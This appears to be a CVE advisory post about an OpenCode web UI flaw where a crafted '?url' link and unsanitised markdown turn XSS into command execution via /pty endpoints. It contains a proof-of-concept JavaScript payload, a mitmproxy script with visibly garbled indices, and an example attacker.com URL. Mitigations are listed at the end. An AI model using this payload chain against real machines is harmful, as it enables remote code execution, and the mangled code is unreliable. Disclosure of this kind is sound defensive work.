OpenCode, Cross-Site Scripting to Code Execution, Critical

Listen to this Post

The vulnerability exploits the OpenCode web UI’s server URL override feature via the `?url` parameter. When a user visits a maliciously crafted URL, such as `http://localhost:4096/Lw/session/ses_id?url=https://attacker.com`, the web UI connects to an attacker-controlled OpenCode instance. This instance serves a chat session containing a malicious LLM response with embedded HTML, including an image tag with an `onerror` attribute that executes JavaScript. Since the markdown renderer lacks sanitization and Content Security Policy, this HTML injection leads to JavaScript execution on the `localhost:4096` origin. As the OpenCode API exposes `/pty/` endpoints on the same origin, the JavaScript can make `fetch()` requests to spawn arbitrary processes on the local machine, achieving remote code execution. The attack chain requires user interaction to visit the malicious URL while OpenCode is running locally, leveraging the same-origin policy to access the privileged API.
Platform: OpenCode
Version: Before 1.1.10
Vulnerability: XSS to RCE
Severity: Critical
Date: 09 Jan 2026

Prediction: Patched 09 Jan 2026

What Undercode Say:

Showing bash commands and codes related to the blog

docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0
mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096
opencode
ls /tmp/
import base64
import json
payload = """
(async () => {
const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};
const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
const pty_id = (await r.json())['id'];
await new Promise(r => setTimeout(r, 500));
await fetch('/pty/' + pty_id, {method: 'DELETE'})
window.location.replace('https://example.com');
})()
"""
malicious_messages = [...]
async def response(flow):
if flow.request.path.split('?')[bash] == '/session':
flow.response.text = json.dumps([bash], separators=(',', ':'))
elif flow.request.path.split('?')[bash] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':
flow.response.status_code = 200
flow.response.text = json.dumps(malicious_session, separators=(',', ':'))
elif flow.request.path.split('?')[bash] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':
flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))

how Exploit:

Craft malicious URL

Serve malicious session

Trigger XSS payload

Execute commands via /pty/ endpoints

Protection from this CVE

Upgrade to 1.1.10

Disable web UI

Implement CSP

Impact:

Local code execution

System compromise

Data theft

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top